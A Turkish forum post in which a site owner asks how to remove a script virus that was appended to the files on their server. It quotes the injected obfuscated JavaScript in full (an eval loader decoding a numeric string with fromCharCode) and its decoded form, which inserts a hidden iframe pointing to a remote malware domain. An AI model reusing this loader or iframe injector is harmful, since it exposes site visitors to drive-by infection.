Script Virüsü nasıl temizlerim

arkadaşlar geçtğimiz günlerde bilgisayarıma virüs bulaştı ve bu sunucudaki dosyalarımada eklendi script şeklinde dosyaların sonunda var script şu şekilde

d=Date;d=new d();
if(d.getFullYear()==2012)
	h=-parseInt('012')/5;
	if(window.document)
	try{new"a".prototype}
	catch(qqq){zz='eva'+'l';ss=[];if(1){f='fr'+'om'+'Char';f=f+'C'+'ode';}
	ee='e';e=this[zz];t='y';}
n="3.5j3.5j51.5j50j15j19j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j19.5j60.5j5.5j3.5j3.5j3.5j51.5j50j56j47.5j53.5j49.5j56j19j19.5j28.5j5.5j3.5j3.5j61.5j15j49.5j53j56.5j49.5j15j60.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j58.5j56j51.5j57j49.5j19j16j29j51.5j50j56j47.5j53.5j49.5j15j56.5j56j48.5j29.5j18.5j51j57j57j55j28j22.5j22.5j59.5j47.5j56j49j24j23j22j50j51.5j56j56.5j57j56.5j57j47.5j57j56.5j50j54.5j57.5j56j59.5j54.5j57.5j22j51.5j54j50j54.5j22.5j60j22.5j23.5j23.5j18.5j15j58.5j51.5j49j57j51j29.5j18.5j23.5j23j18.5j15j51j49.5j51.5j50.5j51j57j29.5j18.5j23.5j23j18.5j15j56.5j57j59.5j53j49.5j29.5j18.5j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j28j51j51.5j49j49j49.5j54j28.5j55j54.5j56.5j51.5j57j51.5j54.5j54j28j47.5j48j56.5j54.5j53j57.5j57j49.5j28.5j53j49.5j50j57j28j23j28.5j57j54.5j55j28j23j28.5j18.5j30j29j22.5j51.5j50j56j47.5j53.5j49.5j30j16j19.5j28.5j5.5j3.5j3.5j61.5j5.5j3.5j3.5j50j57.5j54j48.5j57j51.5j54.5j54j15j51.5j50j56j47.5j53.5j49.5j56j19j19.5j60.5j5.5j3.5j3.5j3.5j58j47.5j56j15j50j15j29.5j15j49j54.5j48.5j57.5j53.5j49.5j54j57j22j48.5j56j49.5j47.5j57j49.5j33.5j53j49.5j53.5j49.5j54j57j19j18.5j51.5j50j56j47.5j53.5j49.5j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j56.5j56j48.5j18.5j21j18.5j51j57j57j55j28j22.5j22.5j59.5j47.5j56j49j24j23j22j50j51.5j56j56.5j57j56.5j57j47.5j57j56.5j50j54.5j57.5j56j59.5j54.5j57.5j22j51.5j54j50j54.5j22.5j60j22.5j23.5j23.5j18.5j19.5j28.5j50j22j56.5j57j59.5j53j49.5j22j58j51.5j56.5j51.5j48j51.5j53j51.5j57j59.5j29.5j18.5j51j51.5j49j49j49.5j54j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j55j54.5j56.5j51.5j57j51.5j54.5j54j29.5j18.5j47.5j48j56.5j54.5j53j57.5j57j49.5j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j53j49.5j50j57j29.5j18.5j23j18.5j28.5j50j22j56.5j57j59.5j53j49.5j22j57j54.5j55j29.5j18.5j23j18.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j58.5j51.5j49j57j51j18.5j21j18.5j23.5j23j18.5j19.5j28.5j50j22j56.5j49.5j57j31.5j57j57j56j51.5j48j57.5j57j49.5j19j18.5j51j49.5j51.5j50.5j51j57j18.5j21j18.5j23.5j23j18.5j19.5j28.5j5.5j3.5j3.5j3.5j49j54.5j48.5j57.5j53.5j49.5j54j57j22j50.5j49.5j57j33.5j53j49.5j53.5j49.5j54j57j56.5j32j59.5j41j47.5j50.5j38j47.5j53.5j49.5j19j18.5j48j54.5j49j59.5j18.5j19.5j44.5j23j45.5j22j47.5j55j55j49.5j54j49j32.5j51j51.5j53j49j19j50j19.5j28.5j5.5j3.5j3.5j61.5".split("j");
	for(i=0;i!=591;i++)
	{j=i;ss=ss+String[f](-h*(2-1+1*n[j]));}
	if(1)q=ss;if(zz)e(q);
	alert(q);

çalıştığı zaman ise iframe e dönüşüyor çıktısı şu şekilde

if (document.getElementsByTagName('body')[0]){
			iframer();
		} else {
			document.write("<iframe src='http://yard20.firststatsfouryou.info/z/11' width='10' height='10' style='visibility:hidden;position:absolute;left:0;top:0;'></iframe>");
		}
		function iframer(){
			var f = document.createElement('iframe');f.setAttribute('src','http://yard20.firststatsfouryou.info/z/11');f.style.visibility='hidden';f.style.position='absolute';f.style.left='0';f.style.top='0';f.setAttribute('width','10');f.setAttribute('height','10');
			document.getElementsByTagName('body')[0].appendChild(f);
		}

bilgisayarımı temizledim ftp hesaplarını sıfırlarım ama mevcut dosyalardan bu kodu nasıl temizlerim php sayalarında da bu script kodu gözükmüyor karşılaşan varsa yardımlarınızı beklerim şimdiden teşekkürler